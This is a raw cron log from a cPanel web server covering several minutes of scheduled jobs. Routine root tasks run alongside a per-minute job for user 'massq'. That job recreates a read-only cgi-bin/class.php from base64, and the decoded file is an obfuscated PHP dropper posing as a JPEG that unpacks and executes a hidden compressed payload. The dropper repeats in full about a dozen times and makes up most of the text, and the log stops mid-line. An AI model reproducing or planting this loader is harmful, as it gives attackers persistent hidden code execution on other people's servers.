Sep  7 01:58:01 server CROND[4989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:58:01 server CROND[4990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:59:01 server CROND[5357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:59:01 server CROND[5358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:59:01 server CROND[5359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:00:01 server CROND[5843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 02:00:01 server CROND[5844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:00:01 server CROND[5849]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  7 02:00:01 server CROND[5853]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 02:00:01 server CROND[5848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:00:01 server CROND[5854]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:00:01 server CROND[5851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:00:01 server CROND[5850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:00:01 server CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 02:00:01 server CROND[5856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:00:01 server CROND[5857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:01:01 server CROND[6713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:01:01 server CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:01:01 server CROND[6715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:01:01 server CROND[6716]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 02:01:01 server run-parts(/etc/cron.hourly)[6716]: starting 0anacron
Sep  7 02:01:01 server anacron[6734]: Anacron started on 2026-09-07
Sep  7 02:01:01 server anacron[6734]: Will run job `cron.weekly' in 64 min.
Sep  7 02:01:01 server anacron[6734]: Jobs will be executed sequentially
Sep  7 02:01:01 server run-parts(/etc/cron.hourly)[6736]: finished 0anacron
Sep  7 02:02:01 server CROND[7136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:02:01 server CROND[7138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:02:01 server CROND[7137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:03:01 server CROND[7532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:03:01 server CROND[7533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:03:01 server CROND[7534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:04:01 server CROND[7908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:04:01 server CROND[7909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:04:01 server CROND[7910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:05:01 server CROND[8431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 02:05:01 server CROND[8432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 02:05:01 server CROND[8434]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 02:05:01 server CROND[8443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 02:05:01 server CROND[8447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 02:05:01 server CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 02:05:01 server CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:05:01 server CROND[8446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:05:01 server CROND[8448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:06:01 server CROND[9276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:06:01 server CROND[9277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:06:01 server CROND[9278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:07:01 server CROND[9641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:07:01 server CROND[9642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:07:01 server CROND[9643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:08:01 server CROND[10007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 02:08:01 server CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 02:08:01 server CROND[10009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 02:09:01 server CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 02:09:01 server CROND[10394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 